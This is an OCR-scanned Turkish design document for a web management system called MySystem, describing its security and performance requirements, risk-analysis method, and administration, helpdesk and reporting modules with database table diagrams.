8.4.4 Giivenilirlik

Tutarlilik
0 Uygulama biinyesinde olusan trafigin herhangi bir kayiba, hatali yonlendirme
ve islemler gibi tutarsiz operasyonlara izin verilmez.
0 Kullanicilar tarafindan bildirilen talepler vakit kaybetmeden degerlendirmeye
alinir ve kullanict memnuniyeti saglanmig olunur.

8.4.5 Giivenlik

Erisim ve yetkilendirme
0 Kullaniciya saglanan arayiizler, MySystem kullanicilarinin bagli oldugu
kullanic1 gruplarina gore erisilir ve yetki seviyelerine bagli olarak islem
yapilabilir.
0 Yetkili kullanici tarafindan tehdit olusturabilecek bir kullanicin yetkisini
azaltabilir.

Gtivenli erigim

0 Uygulamalarina erisim HTTPS {izerinden ve giivenli IP bloklar1 iizerinden
erigim ile saglanir.
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0 Kullanicilarin uygulamaya erigimi HTTPS iizerinden gergeklestirilir. Ayrica
sisteme login sirasinda kullaniciya sanal klavye, captcha ekran goriintiisii ile
kimlik dogrulamasi saglanir.

o Sisteme dijital sertifikalarin kurulumu ile veri trafigi giivenlik altina alinmis
olur.

0 MySystem, kullanicilarina digital kimlikler kazandirarak kimliklerini
elektronik olarak kanitlayabilir, on-line bilgi veya servislere ulagsma hakkini
saglayabilir.

8.4.6 Performans

e Hiz
0 Sistemin ¢alisma hizi, sistem iizerinde aktif kullanict durumuna gore hareket
eder.
0 Sistemin donanim 6zellikleride projenin performansi ile iligkilidir.

8.4.7 Verimlilik

e Almnan ve gonderilen istekler bekletilerek, sistemin DBMS iizerindeki yiikii azaltilir.

8.4.8 Kullanici Memnuniyeti

Uygulamanin genel anlamda isleyisi etkilesimde oldugu tiim aktorlere kaliteli hizmet
vermesi ile dogrudan iliskilidir.

o Ozellestirilebilirlik
o Sistem {iizerinde kullaniciya verilen servisler o kullaniciya 6zel ekran
goriintlilerinde sunulabilir. Bu 6zellikle kullanicinin kendisi i¢in bir yazilim
gelistirildigi, kendi yazilimin1 kullaniyor hissi yarattigi i¢in Onemlidir.

o Kisisellestirilebilirlik
0 Sistem iizerine giris yapan kullanicinin sisteme giriginden itibaren sadece o
kisinin roliine uygun bir menii ve erisim hakk:i sisteme kullanici bazinda
tanimlanabilir. Kullanic1 grubu bazinda ekran erisimleri ve menii olusumu
farklilasabilir. Bu oOzellik sisteme degisik rollerde giren kisilere rolleri ile
sisteme erisim sansi sunar.

¢ Geri bildirim
0 Uygulama Internet lizerinden erisilebilir arayiizlere sahip oldugu icin siirekli
olarak, sunulan hizmetlerin gelisimine dair kullanicilar bilgilendirilir.
0 Kullanici tarafindan gelen geri bildirimlere olanak saglayan araytizler, sisteme
her noktadan geri bildirimler toplanmasini saglar. Bu o6zellik projenin
giivenilirligi ve etkinligi i¢in 6nemlidir.
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8.5 Platform Kullanimi

MySystem
Web Modiil Yonetimi Miisteri Hizmetleri
Modiil Yonetimi Rapor
Miisteri & Kullanic1 Yo6netimi Servis YOnetimi
Sistem YOnetimi Rapor

Sekil 8.2 : Platform Kullanimi

8.5.1 Servis YOonetimi

Her tiirli misteri ile ilgili tanimla ve ilgili servisler ve diizenlemeler bu ekranlar
araciligiyla gerceklesecektir.

e Miisterinin, kullanici islemleri

0 Miisteri tanimlari, listeleme
Kullanici tanimlari, listeleme
Kullanic1 gruplar1 tanimlari, listeleme
Kullanici gruplar1 ve Web modiil eslestirme
Kullanic1 gruplar yetkilendirme

O o0Oo0o

e Servis yonetimi
0 Servis tipleri tanimlari, listeleme
0 Servis tanimlari, listeleme
0 Servis ve modiil eslestirmeleri

8.5.2 Ayarlar

Bu boliimii sistem yoneticisi diizeyindeki teknik personel ve teknik operator kullanici
sistemi gelistirecegi ve yeni eklentiler de bulunacagi zaman belirli araliklarda kullanacaktir.
Bu boliime sistemin teknik altyapisini bilmeyen bir kisinin yanlis bir miidahalesi kesinlikle
gerceklesmemelidir.

e Sunucu yonetimi
0 Sunucu tanimlari, listeleme

e Servis tipi yonetimi
0 Taniml servis tlizerindeki uygulama tiplerini ve detay tanimi
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e Web modiil yonetimi
0 Web modiil tanimlari, listeleme
0 Web modiil yiikleme
0 Web modiil ve kullanici eslestirme

e Sakincali dosyalar yonetimi
0 Sakincali dosya isimleri
0 Sakincali dosya igerikleri

e FTP Modiil yonetimi

8.5.3 Sistem Yonetimi

Asagidaki uygulamalar ve konu bagliklar1 sistem yoneticisi diizeyindeki teknik
personelin giin i¢inde siklikla erisecegi, bir sistem aksaklig1 sirasinda problemleri ¢ozmek ve
miidahale etmek i¢in kullanacagi bir bolimdiir.

e Log yonetimi
0 LogListe
O Arama ve Filtreleme

e Kontrol ve yonetim
0 Hizmet Giivenligi
IP Dinleyici
Kullanici Girisleri
Hatali Girisler
Sayfa Izlenimi
Yasakli Kullanicilar
Yasakli [Pler
Sunucu yogunluk bilgileri ( Islemci kullanim, ag trafik vb. gibi)
Port Durumlari
Windows Giivenlik Duvari
FTP Dosya Gonderim
Viriis Tara
Ilgili yonetimsel sayfalara izl erisim linkleri

OO0O0OO0OO0O0OO0O0OO0OO0O0O0

8.5.4 Rapor

Rapor boliimii yonetimsel ve teknik olarak veritabani iizerinde istenilen raporlarun
olusturulmasin1 saglar. Rapor boliimiinden ilgi servis segilerek veritabaninda daha 6nce
olusturulmus servis ismi ile aymi isimle baglayan tablolar listelenir. ilgili tablodan istenilen
alanlar secilip raporun hizli bir sekilde olusturulup, kayit edilmesini saglar.

e Servis 0zel raporlari

0 Servis durumu
0 Servis ismi
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8.6 Kullanilan Veri Yapilarinin Semasi

8.6.1 Veritabani

Ortak kullanilan veritabani, sistem yOnetimi ilgili tiim kayitlar1 ve miisterilere agilacak
olan tiim servislerin kayitlarin1 depolayacaktir. Cekirdek veritabaninin yapisi asagida
belirtilmistir.

8.6.2 Log

Uygulama flizerinde calisan kritik tiim islemlerin kayitlar1 miisteri, kullanici, IP
bazinda, sunucu, tarih saat ve kategori bilgileri de dahil olmak tizere kayit edilir. Bu kayitlara
sistem yonetimi kullanicisi tarih ve saat filtrelemeleriyle ulasabilir.

8.7 Kullanici Arayiizleri Tasarimi

Kullanic1  arayiizleri miisteri ve kullanict seviyesinde oOzellestirilebilir  ve
kisisellestirilebilir. Kullanicinin erisim hakkina sahip oldugu uygulama modiilleri listesi
kullanicinin erisim meniisiinii olusturur. Bu sekilde tasarlanmis bir yapi ile ileride sisteme
eklenecek herhangi bir modiilii yalnizca o miisterinin kullanimina agmak veya belirli bir
kullanic1 grubundaki kullanicilara agmak miimkiin olabilecektir.

8.7.1 Platform Arayiizleri Yerlesim Plani

Kullanict Adr : Sayfa Ustbilgisi Sistem Tarihi ve Cikis
Alt Menuye Bagli Detay Meniiye Bagli Alt Bagliklar
Detay Menii Yardim Ekranlari
Diger Ekranlar
Sayfa Altmenii

Sekil 8.3 : Platform Arayuzleri Yerlegsim Plani
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8.8 Kullanim Standartlan

8.8.1 Gorsel Standartlar

Onyiizlerde kullanilan tiim gorsel onceden hazirlanmis standart sablonlar esas
alinarak, genel bir uyum igerisinde hazirlanir. Bu sablonlardaki temalar hazirlanmis olan
ortak bir stil dosyasi ile diizenlenir.

8.8.2 Erisim Stantartlarn

Web araylizlerinde erisim genel olarak, erisim meniisii izerinden saglanir.

9. MYSYSTEM RISK ANALIZ GALISMASI SONUGLARI

9.1 Risk Analizi Amaclari ve Kullanilan Ilkeler

Risk analizinin genel amact projenin en ¢ok hangi risk senaryolarina maruz kaldigini
saptamaktir. Bu bilgi en kritik senaryolara iligkin riskleri azaltmak ig¢in yeterli kontrol
onlemlerinin var oldugunu dogrulamak icin gerekmektedir.

Risk senaryolarmin olasi1 tehditlerinin etkileri goéz Oniinde bulundurularak, hangi
bilisim teknolojileri siireglerinin bu riskleri azaltmak i¢in dnemli oldugu ve bu siiregler iginde
kilit kontrol 6nlemlerinin hangileri oldugu belirlenir.

Analizin bitiinliigiini ve tutarlihi@mi saglamak amaciyla, asagidaki adimlar
gergeklestirilmistir:

e Genel risk senaryolarma dayanarak bu senaryolarin internet ortaminda hangi
kosullarda gergeklesebileceginin belirlenmesi,

e Risk senaryolarn gergeklestiginde olusacak finansal, operasyonel ve itibar etkilerinin
belirlenmesi ve degerlendirilmesi,

e Mevcut kontrol onlemlerini géz Oniine almadan risk senaryolarinin gerceklesme
olasiliginin tahmin edilmesi.
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9.2 Risk Analiz Yaklasimi

MySystem ile ilgili risk senaryolarinin genel bir listesi derlenmistir. 20 adet potansiyel
senaryoyu kapsayan asagidaki liste olusmustur:

1. Yetersiz sistem ve ag kapasitesi

2. Dogal felaketler

3. Sirkey kaynaklarinin yanhs kullanimi
4. Insan hatasi

5. Sakincali kisilerin tehdidi

6. Yazilim hatasi

7. Yetersiz biitge ve planlama

8. Veri bozulmasi

9. [letisim hatas1

10. Fiziksel tehditler

11. Yetersiz altyap1 ve mimari

12. Kisiler aras1 yetersiz iletisim

13.  Eksik veya yanlis yonlendirilmis bilgi birikimi
14. Yeteriz veri modelleme

15. Servis Yonetimi eksikligi

16. Sistem Y onetimi eksikligi

17.  Rapor eksikligi

18.  Performans eksikligi

19. Giivenlik eksikligi

20.  Miisteri Memnuniyeti eksikligi

9.3 Hesaplama Kurallan

Risk senaryolarini degerlendirirken her senaryo i¢in “en kotii durumun” g6z 6niinde
bulunduruldugunu ve “ortalama degerlerin” kullanilmadigini anlamak énemlidir. Ornegin bir
senaryo i¢in ii¢ farkli boyutta tehdit ve etki belirlendiginde, en yiiksek etki derecesine sahip
tehdit o senaryonun genel etki seviyesinin belirlenmesinde kullanilmaktadir.

9.4 Kullanilan Degerler

Her senaryo i¢in etki ve olasilik Tablo 9.1 ‘e gore degerlendirilmistir.

Olasilik Dereceleri Agiklamalari

Imkansiz ve olmas1 hi¢ muhtemel degil

Olmas1 muhtemel degil

Olmas1 muhtemel veya seyrek olarak gerceklesmis

Olmasi olduk¢a muhtemel veya zaman zaman gerceklesmis

DN |[WIN|—

Olmasi kesin veya sik sik ger¢eklesmis

Tablo 9.1 : Risk Analiz Yaklasimi Olasilik Derecileri
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9.5 Etki Dereceleri

MySystem Kurumu'nda yapilan risk degerlendirmesi {i¢ farkli boyutta
degerlendirilmistir. Bu ii¢ boyut finansal, operasyonel ve itibar etkileridir. Belirlenen ii¢ etki
boyutuna iliskin kullanilan Olgiitler ve derecelendirme seviyelerinin agiklamalar1 asagida
listelenmistir.

Risk senaryosunun 6nem derecesi, gerceklesme olasilig1 ve etki degerlerinin carpimi
ile belirlenmisgtir.

5 B
oo @ @ @
| | @ @ @
|| >l | @
| o @ |
— >

Sekil 9.1 : MySystem Genel Risk Haritasi
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10. MYSYSTEM PROGRAMININ BOLUMLERI
10.1 Ajanda

Agenda grubuna dahil edilmis kullanicilar tarafindan goriilebilir. Bu boliim igersinde
Sik Kullandigim Sayfalar (Favorilerim), Bekleyen Gorevler, Onay Bekleyen Gorevler,
Yaklasan Servis Olaylari, Bekleyen Sorun & Talep ve Duyurular & Mesajlar takip edilebilir.

Bu boliim, kullanicinin sisteme giris yapmasiyla karsisina ¢ikacag ilk boliimdiir.
Kullanict sistem hakkindaki son gelismelerden haberdar olur. Ayrica bu boliim kullaniciya
0zel ekran goriintiileri sundugu i¢in, kendi yazilimini kullaniyor hissi yarattir.

2 MySystem - Microsoft Internet Explorer

Fil= Edt Wew Favorites Tools Help aw
Qe - @ - @ @ ih }r\ Search *Favnrites & D;' :‘, Bl - L ‘ ol E 3
Adess | hitp:flocalhostMy Systemindex. aspx v B ks >

Google (G~ v Goo B v | ¥ Bockmarksy Ehoblocked ¥ Check » Ny Autolink w | A0or (s Sendtow () Settings~

'07.05.2007" | ver121t 4 1

[BEBEENEL R

My System Aj!lldﬂ i« Meni

e T @ Sik Kullandigim Sayfalar ( Favorilerim ) i Yaklasan Servis Olaylan

[~] 07.04.2007

‘ W Olay Takvim & Fav1
B Fave |»| 07.08.2007
S Gantt Takvim "
B ‘¥ Bekleyen Sorun&Talep ~ &

[ i tatepteri b ®
€4 Bekleyen Gorevier
o occe
1™ Mesajlar * mmmiz
mmml

mmm
. rrr

|| Duyurular & Mesajlar

= ]
@g Onay Bekleyen Gorevler

,Q‘A Sistem Y. IE Sayfa ¥. 0(!) Destekc M. | | (O Raporlar Servis ¥. @ ayarlar

&] Done & Local intranet

Sekil 10.1 : MySystem Ajanda
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thiHelpDesk thiTask thiImail
# |HelpDeskid FS G |TaskId F F [Imailtd
T |srvad | Tolserd "~ [Fromid
T |userd | submitBy " | ToCustid
| SohtionUserid | submitEwid | TaUsertd
| submitChannel " |srvcDefld T SubmitBy
| submitChannellnfa | srvcEventld T Subject
" | NameSurname T TaskCZompleted T Message
" | MabilePhone o Subject T DisplavDateStart
" |Phare " |Message | DisplayDateEnd
" |Emai T ApproveMessage | status
| submitInfa T AdminApproveMessag " |insertDate
: Description v : Sendstatus w : UpdateDate
thiServiceEvent tblUserFavorite tbiHelpDeskForward
7 | srecEventld ? |Favid 7 |HelpDeskForwardld
EE T |userid T HelpDeskd
| SrwcEventTitle T |ListOrder " |usertd
| SrvcEventhate "~ |Favhame T ResponseMessage
| srvcEventDate " {uw " |status
" |status " |status " |mnsertDate
T |InsertDate T |InsertDate T UpdateDate
T UpdateDate T UpdateDate T

Sekil 10.2 : MySystem Ajanda — SQL Database Tablolari

10.1.1 Sik Kullandigim Sayfalar (Favorilerim)

Internet Explorer daki Favoriler gibi calisir. Istenilen ilgili sayfa database’e kayit
edilir veya giincelleme islemi yapilabilir. Daha sonra kullanici tarafindan MySystem
programi igersinde istenilen sayfa acilir. Bu boliim i¢in veritabaninda tblUserFavorite tablosu
kullanilir.

Link : http://localhost/MySystem/agenda/favorites.aspx

10.1.2 Bekleyen Gorevler

Gorev atama yetkisine sahip kullanic1 tarafindan istenilen kisilere g¢esitli gorevler
tanimlabilir. Ayni1 zamanda tanimlanmis olan bu gorevler ilgili kisileri bilgilendirmek
amactyla MySytem tarafindan otomatik mail atar. Daha sonra kullanicilar yetkili kisiler
tarafindan gorevlendirilmis ise MySystem tarafindan uyarilir ve gérevin gerekli siire igcersinde
tamamlamasini bekler. Bu boliim igin veritabaninda tblTask tablosu kullanilir.

Link : http://localhot/MySystem/agenda/task.aspx

10.1.3 Onay Bekleyen Gorevler

Yetkili kullanict ilgili kisilere gorev dagilimi yaptikdan sonra kendisi tarafindan
onayma sunulmasi istenmis bu boliim araciligiyla uyarilacaktir ve gorevin tamamlanip,
tamamlanmamas1 ile iligkilidir. Bir gorevin onay bekleyip beklemedigini tblTask
tablosundaki Status degerine bakilarak anlagilir. Bu boliim i¢in veritabaninda tblTask tablosu
kullanilir.

Link : http://localhost/MySystem/agenda/task.aspx
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10.1.4 Yaklasan Servis Olaylan

Bu bolim tanimlanmis servis ile iligkili kullanicilart bilgilendirmek amaciyla
kullanilir. Ornek: “Servisin bitis tarihi belirsizligini koruyor.” Bu metinler yukaridan asagiya
veya asagidan yukariya kayan yazilar ile Ajanda boliimiinde siirekli ekranda donmektedir. Bu

boliim i¢in veritabaninda tblServiceEvent tablosu kullanilir.

Link : http://localhost/MySystem/agenda/serviceevent.aspx

10.1.5 Bekleyen Sorun ve Talep

Miisteriler ve diger kullanicilar tarafindan talepler ve sorunlar bir havuzda toplanir.
Eger bahsedilen soru, cevap verecek kisinin bilgi veya yetki ¢ercevesi icersinde degilse bu
soru ilgili kisiye yonlendirilir. Soru yanitlanmadigi miiddetge MySystem tarafindan ilgili
kisiler uyarilacak ve bilgilendirilecektir. Bu bolim i¢in veritabaninda tblHelpDesk ve
tblHelpDeskForward tablolar1 kullanilir.

Link : http://localhost/MySystem/helpdesk/helpdesk_main.aspx

10.1.6 Duyurular ve Mesajlar

Bu bélim MySystem igerisinde haberlesmek ve bilgi panosu olusturmak amaciyla
hizmet vermektedir. Bu boliim i¢in veritabaninda tblImail tablosu kullanilir.

Link : http://localhost/MySystem/agenda/imail.aspx

10.1.7 Sistem izlenimi
Sistem iizerinde tanimli servislerin baslangi¢ ve bitis tarihlerini grafik {izerinde
rahatlikla takip etmek amaci ile hizmet vermektedir. Bu bdliim i¢in veritabaninda tblService

tablosu kullanilir.

Link : http://localhost/MySystem/agenda/agenda_manager.aspx?page=gantt.aspx

10.1.8 Servis Takvimi

MySystem iizerindeki servislerin, takvim yapragi seklinde yetkili kullanicilari
bilgilendirmek amaciyla kullanilir. Bu boliim i¢in veritabaninda tblService tablosu kullanilir.

Link : http://localhost/MySystem/agenda/agenda_manager.aspx?page=calendar.aspx
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http://localhost/MySystem/agenda/serviceevent.aspx

10.1.9 Olay Takvimi

MySystem’de tanimlanmis olaylar1 takvim yapragi seklinde yetkili kullanicilar
bilgilendirmek amaciyla kullanilir. Bu bdliim icin veritabaninda tblServiceEvent tablosu
kullanilir.

Link : http://localhost/MySystem/agenda/agenda_manager.aspx?page=serviceevent.aspx

10.2 Sistem Yonetimi

MySystem’de tanimli en iist seviyedeki kullanict gruplarinda tanimli olan kullanicilar
tarafindan kontrol edilir. Sistemin giivenligini olusturan kisim bu boélimdiir ve giivenligin
beynini olusturmaktadir. Eger bu boliimde gerekli ayarlar ve tanimlamalar yapilmaz ise diger
sistemlerde oldugu gibi MySystem icerisinde de istenmeyen sonuglar ile karsilagilabilir.

(ﬂ? MySystem - Maxthon Browser

| He Edt View Favoriies Goups Options Took  Window el ‘g-8-8
D00 8 R BG%zEvwme

address 9] hitpsffiocalnostiMySystemjindex. asps ¥ B ffseach 2 v ©-2

| BT Risk tzetirap.. | tehtidi- Google'da | Gmail- Spam | Mynet Email - Lider| Sesisoduk coms. | MySystem |

'18.06.2007" | vertz1 41 (BEBeEnEL] b8 oks
VST Sistem Yonetimi @ Menu

# Hizmet Govenlii

% Hizmet Giivenligi
.27 IP Dinleyici ) .
8 Ip Dinleyici

= Kullanior Girisleri
Kullama Girigleri

E Hatali Girigler
= Hatah Girigler

5L savfa lclenimi L

RE-C
LXL |

-
ERC |
Bl - |

E gayfa Izlenimi
= =
5» Yasakl Kullanieilal
[ 4 ‘rasakh Kullanicilar
222 Yasakli 1P ler W
& Yasakh IP ler
4,{':’ CPU Monitar @i}
+, ¢ 5 CPU Monitor
¢ Port Durumlan [ 2

|7 windows Guveniik eaﬁ Port burumlan
Duvar
windows Giivenlik Duvan
%@ TP Dosya E
Geinderim
G FTP Dosya Gonderim

2 wiriis Tarama i
p Virlis Tarama

P‘a‘ Sistem Y. l@ sayfa Y. o(!} Destek M. ’ PR servis Y. @t Ayarlar

9 g 0 Slem ks iead | e M6

Sekil 10.3 : MySystem Sistem Yonetimi
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thiProhibitionUserID thivirusData thiVirusFileName thiwebUrls
? |PraUser1D Id Id Id

UserID VirusData FileMama 1l

Status Status Status Status

InsertDate InsertDate InsertDate InsertDate

UpdateDate UpdateDate UpdateDate UpdateDate
thlLogEnter thiLogEnrerError thiProhibitionIP

1D D 7 |ProlplD

Userld Userlp IPMo

|serIp Status Status

Status InsertDate InsertDate

InsertDate UpdateDate UpdateDate

|UpdateDate

Sekil 10.4 : MySystem Sistem Ydnetimi — SQL Database Tablolari

10.2.2 IP Dinleyici
Sisteme gelen girisleri izlemek amaciyla kullanilir. Eger belli bir IP adresinden yogun
bir sekilde sistemden istek bekleniyorsa sistem otomatikman ya da tanimli yetkili kullanici

tarafindan bu IP adresi, kara listeye alinir ve sisteme girisi engellenir. Bu bdéliim igin
veritabaninda tblLogEnter tablosu kullanilir.

Link : http://localhost/MySystem/system/iplistener.aspx

10.2.3 Kullanici Girigleri
Sisteme giren tiim kisileri izlemek ve kayit tutmak amaciyla kullanilir. Daha sonra
geri goniigler igin yetkili kullanicilara kolaylik saglar. Bu boliim igin veritabaninda

tblLogEnter tablosu kullanilir.

Link : http://localhost/MySystem/system/logenter.aspx

10.2.4 Hatali Girisler
Sisteme hatali giren kisileri izlemek ve kayit tutmak amaciyla kullanilir. Boylelikle
hangi IP adresinde sisteme izinsiz girigin tesbit edilisi sistemin giivenligi agisindan 6nemlidir.

Bu boliim i¢in veritabaninda tblLogEnterError tablosu kullanilir.

Link : http://localhost/MySystem/system/logentererror.aspx
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10.2.5 Sayfa Izlenimi

MySystem’de  tanimli  sayfalarma  giris  sayilarini  gosterir.  Sayfalar
tblPageView Counter tablosunda tanimlanir ve kullanicilarin bu sayfalara her girisinde deger
arttirtlir. Boylelikle en ¢ok ziyaret edilen veya ilgi gosterilen sayfa rahatlikla tesbit edilebilir.
Bu boliim igin veritabaninda tbIPageUserIn tablosu kullanilir.

Link : http://localhost/MySystem/system/pageviewedit.aspx

10.2.6 Yasakl Kullanicilar

MySystem’e kayit yaptirmig fakat daha sonra sisteme 6 ay boyunca giris yapmamasi
nedeni ile kullanicinin sisteme girisi iptal edilir. Kullanicinin sisteme giris yapabilmesi i¢in
yetkili kullanicilar ile kontaga ge¢mesi istenir. Bu bolim i¢in veritabaninda
tblProhibitionUserID tablosu kullanilir.

Link : http://localhost/MySystem/system/prohibition_userid.aspx

10.2.7 Yasakl IP ler
Sisteme girigleri yasklanan IP adresleri yetkili kullanicilar isterse bu degerleri
giincellemek ve silmeleri i¢in yaratilmisdir. Bu boliim igin veritabaninda tblProhibitionIP

tablosu kullanilir.

Link : http://localhost/MySystem/system/prohibition_ip.aspx

10.2.8 CPU Monitor
Sistem tizerindeki bos disk alanin1 ve bos bellek miktarlarin1 gosterir. Eger degerler
kritik diizey seviyesine gelmis ise sistemden sorumlu kisiler bu bdliim tarafindan

bilgilendirilir.

Link : http://localhost/MySystem/system/performancecounter.aspx

10.2.9 Port Durumlan

Yetkili kullanic1 tarafindan sistem iizerindeki agik ve kapali port numaralarin
listelenmesini saglar. A¢ik portlar listelenip sistem iizerindeki kisileri bilgilendirir.

Link : http://localhost/MySystem/system/portscanner.aspx

10.2.10 Windows Giivenlik Duvani

Yetkili kullanict tarafindan sistemdeki Windows Giivenlik Duvarinin durumu
ogrenilir. Gerekirse Windows Giivenlik Duvari agilip, kapatilabilir.

Link : http://localhost/MySystem/system/windowsfirewall.aspx
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10.2.11 Ftp Dosya Gonderim

Ayarlar yetkisine sahip kullanici tarafindan Ftp Ayarlarindan tanimlanan Server Ismi
ve Kullanici Ismi segildikden sonra istenilen dosya segilir. Istenirse segilen dosya MySystem
tarafindan viriis taramasindan gegirilir ve dosya istenilen noktaya transfer edilir. Eger dosya
viriis taramasindan gegirildigi sirada MySystem sakincali bir igerik buldugu takdirde transfer
islemi durdurulur. Kullanicin se¢imine gore dosya karantinaya alinir veya silinir.

Link : http://localhost/MySystem/system/ftp.aspx

10.2.12 Viriis Tarama

Sistem yonetime sahip kullanici tarafindan sistem tizerindeki klasorler ve dosyalar
viriis taramasindan gegcirilir. Virlis taramasindan gecirilen dosyalar Bulunan Dosyalar
boliimiinde, igersinde sakincali bilgi bulunan dosyalar ise Sakincali Dosyalar boliimiinde
listelennir. Kullanicin se¢imine gore sakincali dosyalar karatinaya alinip silinir, karantinaya
alinmadan silinir veya dosyalar silinmeden saklanir. Burada kullanilan Heuristic Viriis
Tarama metodudur.

Bilgisayarin sagliginin, insan sagligindan daha farkli olmadigr ve diizenli olarak
kontrol edilmesinin zorunlu oldugu idrak edilmelidir. Eger son kullanicida zamanin bir
kismin1 “Bilgisayarimdaki veriler acaba giivende mi ?” sorgusunu yapmak i¢in harcarsa, bilgi
giivenligi konudaki en onemli asama gecilmis olacaktir. Bu boliim igin veritabaninda
tblVirusData tablosu kullanilir.

Link : http://localhost/MySystem/system/systemscan.aspx

10.3 Sayfa Yonetimi

(11219 arka ofis - Maxthon Browser

[T Sayla & Meniilar
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C9) Raporar
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Sekil 10.5 : MySystem Sayfa Yonetimi
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10.3.1 Sayfa & Meniiler

Sayfa yonetimi hakkina sahip kullanict MySystem’de olusturulan raporlarlarin
isimlerini diizenleyebilir ve raporlarin durumlarmi degistirebilir. Boylece, kullanilmayan
raporlarin MySystem igersinde goriintiilenmesi kaldirilir. Bu béliim i¢in veritabaninda
tblPage tablosu kullanilir.

Link : http://localhost/MySystem/page/pagemenu.aspx

tblRepnrtIﬂenus * thlPage *
i Repran.uld 7 |Page1d
Description T |5rvcd
—= Ser\.u'isid | |PageMenuLink
Design " |PageMenuorder
OrderPage | |PageMenuindent
T PageMenuLinkyalue
] PageRepaortGUID
T PageTitle
| statusn
_ |InsertDate tblQuerySubReports *
__|UpdateDate % |Repld ~
] Reportld
| SrvcTablerd
| S— ] Description
T |1sisible
" |1sSelect
| 1sCriterian
thlService * | ordervalue
—€=| §|5rvcid A | 1s5um
| derMask =—1| | tbiQueryReports * T |1scount
| Custrd % |Reportid " |1shverage
] Typeld __|RepartalIn T | Jaintame v
| Srvehame Srvcld —
SrycDescription ReportTitle
: SrycSurmary ] MaxRow
| StartDate ] DisplayGrid
__|BeginDate : DisplayRow
EndDate Status
__|FinalDate | nsertDate
_|Status v " |UpdateDate

Sekil 10.6 : MySystem Sayfa Y6netimi — SQL Database Tablolari

10.3.2 Raporlar

Servis isimlerine gore database’de olusturulan tablolar listelenir. Yetkili kullanict
tarafindan istenilirse tablolar arasinda iliski kurulur. Daha sonra tablodaki alanlar segcilir.
Boylelikle MySystem tarafindan dinamik olarak sql climlesi yazilmig olur. Rapor, 6n
izlemeye alinindikdan sonra rapor ismi verilir ve sisteme kayit edilir. Ayni zamanda rapor
excel dokiimani olarakda kullaniciya sunulur. Bu boliim i¢in veritabaninda tblQueryReports
ve tblQuerySubReports tablolar1 kullanilir.

Link : http://localhost/MySystem/page/index.aspx

10.3.3 View Yarat
Rapor olusturma sayfas1 yetersiz kaldiginda, yetkili kullanici tarafindan Sql’de view
yaratilir. Daha sonra yaratilan view servis ile eslestirilip MySystem iizerinde rapor alinmasini

saglar. Kayit edilen view, veritabaninda saklanir.

Link : http://localhost/MySystem/page/createview.aspx
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10.4 Destek Masasi
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Sekil 10.7 : MySystem Destek Masasi
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Destek Masasi yetkisine sahip kullanicilar sistem {izerindeki sorunlar, ilgili kisilere
iletmek ve haberdar etmek amaciyla kullanirlar. Kullanici sorunun hangi servis iizerinde
oldugunu ilgili servis meniisiinden secer, sorunun kaynagi bilgisi girilir, sorunun detayli
aciklmasi yazilir ve veritabanina kaydedilir. Kaydedilen sorun veya talep, Ajanda bdliimiinde
kullanilmas: i¢in bekleyenler listesine gonderilir. Daha sonra bu sorunu gdren bir bagka
kullanic1 sorunu ¢dzmek icin bilgi sahibi degilse gerekirse sorunu bir baska kullaniciya
¢Ozmesi i¢in yonlendirir.

Bu akis aym1 zamanda tanimlanan kullanicilara otomatik olarak e-posta atarak
bilgilendirir. Sorun, bilgi sahibi kullanic1 tarafindan c¢oziilene kadar bekletilir. Sorun
coziildiikden sonra c¢oziimlenmigler bolimiinde listelenir. Ayn1 zamanda bu islem sistem
tizerindeki sorun ve talepleri arsivlemek amaciyla da kullanilir. Bu bdliim i¢in veritabaninda
tblHelpDesk, tblHelpDeskForward, tblService ve tblUser tablolar1 kullanilir.

Link : http://localhost/MySystem/helpdesk/helpdesk_manager.aspx

10.5 Raporlar

Sayfa Yonetimi yetkisine sahip kullanicilar tarafindan olusturulan raporlar, bu
béliimde servis isimlerine gore listelenir. Istenilen rapor secilip MySystem’de goriintiilenmesi
ve incilenmesi saglanir. Ayn1 zamanda rapor excel dokiimani olarakda kullaniciya sunulur.
Bu bolim igin veritabaninda tblQueryReports, tblReportMenus, tblService ve
tblQuerySubReports tablolar1 kullanilir.

Link : http://localhost/MySystem/report/report_manager.aspx
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10.6 Servis YOnetimi
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10.6.1 Servisler

MySystem’de verilmekte olan tiim servislerin kayidi ve 1ilgili parametre
giincellemeleri bu baslik altinda yapilir. Kayitli olan servisler, durumlarina ve alfabetik siraya
gore listelenebilir. Servisin baglangi¢ zamani ile bitis zamanini, hangi miisteriye ait oldugunu,
servis lizerinde kag¢ kullanici tanimli oldugunu gérmek miimkiindiir.

Istenirse servis bilgileri, servis yonetimi yetkisine sahip kullanic1 veya kullanicilar
tarafindan degistiriliebilir. Bu bdliim icin veritabaninda tblService, tblServiceAccount,
tblServiceEvent,  tblServiceNote, tblServiceUserDeveloper,  tblServiceUserOperator,
tblServiceUserSale ve tblServiceUserSupervisor tablolar: kullanilir.

Link : http://localhost/MySystem/service/servicel.aspx

tblServiceUserOperator tblServiceUserSupervisc tbhlServiceUserSale * tblServiceEvent *
ServicelserOpld Servicellsersupld Servicelsersaleld ~ 2 | SrvcEventld ~
| Srveld | Srveld R | Srvcld Srvcld
i |Userld % |Userld 7 |Userld SrwcEventTitle
Skatus Skatus SaleRatio SrwcEventhlate
InsertDate InsertDate Status SrvcEventDate
UpdateDate UpdateDate InsertDate w Status v
T
T \
T f
thiCustomer * thlService *
¢ | Custld -~ H€ow | @ | Srvcld
| custaup | 1denMask.
T custof == custid
T |1sReselier " |vperd )
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] Ciby ] SpvcDescription | ServicellserDevld S
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| |address ™ | |startDate || Usertd
| |Status
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_| _% |UserID A ||la _® |ServiceUserDevld UpdateDate as
—) CustId Srecld
" |efsrverd oo |usertd thiServiceNote *
T |Mame | ype B Srvchoteld ~
| surname | tatus __{Grectd
- " |Phare " |InsertDate __|SrvciateType
| MobilePhone " |UpdateDate | SrvchloteTitle
T | Email e — Srvchote
thluserGroup * T |5tatus v
7 |userarouptd thluserUserGroup *
CustId _®|UserlserGroupld thlServiceAccount *
UserGrouphlame = |UserGroupld 7| srvcaccountid A
UserGroupType —oq  |userd | Srveld
Status | |DefGroup | SrvcAcchame
InsertDate L |tatus | SrvchceDes
UpdateDate | {InsertDate | srvcaccamount
— UpdateDate | srveaccCur v
tbluserGroupService *
7 |UserGroupServiceld
Lol |UserGroupld
ool | Serviceld
T Type
| status
" |insertDate
: UpdateDate
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10.6.2 Miisteriler

Bu baglik altinda miisteri kayidi, arama iglemleri ve miisteri kayidinin ardindan da
kullanic1 kayidr yapilir. Servis hizmeti verilen tiim miisteriler i¢in, misteri kaydi olusturulur.
